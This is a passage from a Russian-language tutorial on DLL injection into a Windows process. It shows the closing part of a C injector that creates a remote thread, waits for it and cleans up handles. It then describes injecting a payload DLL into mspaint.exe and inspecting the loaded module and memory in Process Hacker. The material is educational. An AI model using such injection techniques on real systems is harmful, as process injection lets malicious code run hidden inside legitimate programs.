if (handleThread == NULL) {
printf("%s Не удалось создать поток, ошибка: 0x%lx\n", minus, GetLastError());
CloseHandle(handleProcess);
return 1;
}
printf("%s Создан новый поток внутри целевого (таргет) процесса (%ld)\n", plus, threadID);
printf("%s ---> 0x%p\n\n", asterisk, handleThread);
/* Очистка и выход */
printf("%s Ожидание завершения выполнения потока\n\n", asterisk);
WaitForSingleObject(handleThread, INFINITE);
printf("%s Поток завершил выполнение\n", plus);
/* Освобождаем ресурсы */
CloseHandle(handleThread);
CloseHandle(handleProcess);
printf("%s Завершено", plus);
return 0;
}
Выполнение инъекции
Скомпилировав нашу программу, мы можем протестировать ее, внедрив DLL в целевой (таргет) процесс:
Как мы можем заметить, наша DLL успешно загружена и мы можем наблюдать выполнение нашего пейлоада. Обратите внимание, что после нажатия на кнопку OK поток завершается, и наша программа выполняет выход, все это благодаря функции WaitForSingleObject.
На этом все, мы успешно произвели DLL-инъекцию в целевой (таргет) процесс. Спасибо за внимание.
Подводные камни
Вы заметите, что если попытаться внедрить DLL в один и тот же процесс несколько раз, после первого у вас ничего не выйдет. Эту проблему можно обойти, однако это потребует больше кода.Просмотр памяти
Предлагаю также посмотреть, что происходит в памяти процесса после инъекции. После внедрения в наш целевой (таргет) процесс mspaint.exe мы можем просмотреть все модули, которые были загружены в него с помощью Process Hacker. Во вкладке "Modules" можем увидеть нашу DLL:
Кроме того, если мы посмотрим на вкладку "Memory", то увидим здесь ссылки в памяти на нашу DLL: